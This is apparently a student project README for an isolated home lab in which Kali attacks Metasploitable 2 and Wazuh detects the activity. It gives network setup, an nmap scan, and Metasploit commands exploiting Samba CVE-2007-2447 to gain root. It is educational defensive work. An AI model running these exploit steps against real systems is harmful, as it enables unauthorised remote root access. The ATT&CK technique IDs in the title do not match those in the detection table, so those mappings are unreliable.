
Isolated AD/Linux attack lab: exploited CVE-2007-2447 via Metasploit, detected with Wazuh SIEM mapped to MITRE ATT&CK (T1190, T1059)
B.Tech Project (BTP) | IIIT Pune Based on: "Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring" β ICCCNT 2023, IIT Delhi
A fully functional cybersecurity home lab built on a single machine using free and open-source tools. The lab simulates a real-world attack lifecycle β Reconnaissance β Exploitation β Detection β and demonstrates how a SIEM can detect and map attacks to the MITRE ATT&CK framework in real time.
βββββββββββββββββββββββββββββββββββββββββββββββββββ
β VirtualBox β Internal Network β
β (cyberlab, 10.0.0.x/24) β
β β
β ββββββββββββ ββββββββββββββββ ββββββββββββ β
β β Kali β β Metasploitableβ β Ubuntu β β
β β 10.0.0.1 ββββΊβ 10.0.0.2 ββββΊβ 10.0.0.3 β β
β β ATTACKER β β VICTIM β β SIEM β β
β ββββββββββββ ββββββββββββββββ ββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββ
Host-Only Adapter (192.168.56.103)
β Wazuh Dashboard access from browser
| VM | Role | IP | Tools |
|---|---|---|---|
| Kali Linux 2026.1 | Attacker | 10.0.0.1 | Nmap, Metasploit |
| Metasploitable 2 | Victim | 10.0.0.2 | 20+ vulnerabilities |
| Ubuntu 22.04 + Wazuh | SIEM | 10.0.0.3 | Wazuh v4.7.5 |
| Tool | Version | Purpose |
|---|---|---|
| VirtualBox | 7.x | Hypervisor β runs all VMs on one host |
| Kali Linux | 2026.1 | Penetration testing OS (offensive) |
| Metasploitable 2 | v2.0 | Intentionally vulnerable target |
| Wazuh | v4.7.5 | Open-source SIEM (defensive) |
| Nmap | Latest | Network/port scanning |
| Metasploit Framework | Latest | Exploitation framework |
Create an Internal Network named cyberlab in VirtualBox. All three VMs get this adapter. The Ubuntu/Wazuh VM gets an additional Host-Only Adapter so you can access the dashboard from your browser.
cyberlab internal network adapter# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
address 10.0.0.1
netmask 255.255.255.0
sudo systemctl restart networkingcyberlab network# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
address 10.0.0.2
netmask 255.255.255.0
β οΈ Never expose Metasploitable 2 to the internet. It is intentionally insecure.
cyberlab internal + Host-Only/etc/netplan/01-network-manager-all.yaml):network:
version: 2
renderer: NetworkManager
ethernets:
enp0s3:
addresses:
- 10.0.0.3/24
enp0s8:
dhcp4: true
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a
https://192.168.56.103 (from host browser)Since Metasploitable 2 cannot run a Wazuh agent, configure syslog forwarding for agentless monitoring:
On Metasploitable, add to /etc/rsyslog.conf:
*.* @10.0.0.3:514
On Wazuh (Ubuntu), enable syslog input in /var/ossec/etc/ossec.conf:
<remote>
<connection>syslog</connection>
<port>514</port>
<protocol>udp</protocol>
</remote>
Restart Wazuh: sudo systemctl restart wazuh-manager
# From Kali
nmap -sV -O 10.0.0.2
Key services discovered on Metasploitable 2:
| Port | Service | Version |
|---|---|---|
| 21/tcp | FTP | vsftpd 2.3.4 |
| 22/tcp | SSH | OpenSSH 4.7p1 |
| 80/tcp | HTTP | Apache 2.2.8 |
| 139/445 | SMB | Samba 3.xβ4.x |
| 3306/tcp | MySQL | 5.0.51a |
| 5432/tcp | PostgreSQL | 8.3 |
20+ open ports discovered. OS fingerprinted: Linux 2.6.x
Vulnerability: CVE-2007-2447 β Samba usermap_script Command Injection
Allows unauthenticated remote code execution via malformed MS-RPC requests on Samba 3.0.0β3.0.25rc3.
# From Kali β launch Metasploit
msfconsole
# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run
# Verify root access
whoami
# Output: root
After the exploit, Wazuh automatically detected and mapped the events to MITRE ATT&CK:
| Rule ID | Description | MITRE Technique | Tactic |
|---|---|---|---|
| 5402 | Successful sudo to ROOT executed | T1548.003 | Privilege Escalation |
| 5501 | PAM: Login session opened | T1078 | Initial Access / Persistence |
| 5502 | PAM: Login session closed | T1078 | Defense Evasion |
| 502 | Wazuh server started | β | Detection Active |
Total events detected: 55+
Access the dashboard at https://192.168.56.103 β Security Events β MITRE ATT&CK
cybersecurity-home-lab/
β
βββ README.md β You are here
βββ network-config/
β βββ kali-interfaces.txt β Kali static IP config
β βββ metasploitable-interfaces.txt
β βββ ubuntu-netplan.yaml β Ubuntu/SIEM netplan config
βββ wazuh-config/
β βββ ossec.conf β Wazuh syslog/agent config
βββ screenshots/
β βββ nmap-scan.png
β βββ metasploit-exploit.png
β βββ wazuh-dashboard.png
β βββ wazuh-alerts-table.png
βββ report/
βββ ICCCNT_2023_paper.pdf β Reference research paper
Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.
This lab is built entirely on isolated virtual machines with no internet access during attack simulations. All tools and techniques are used strictly for educational purposes within a controlled environment. Do not attempt to replicate any attack techniques on systems you do not own or have explicit permission to test.
Presented by Harshita Verma | IIIT Pune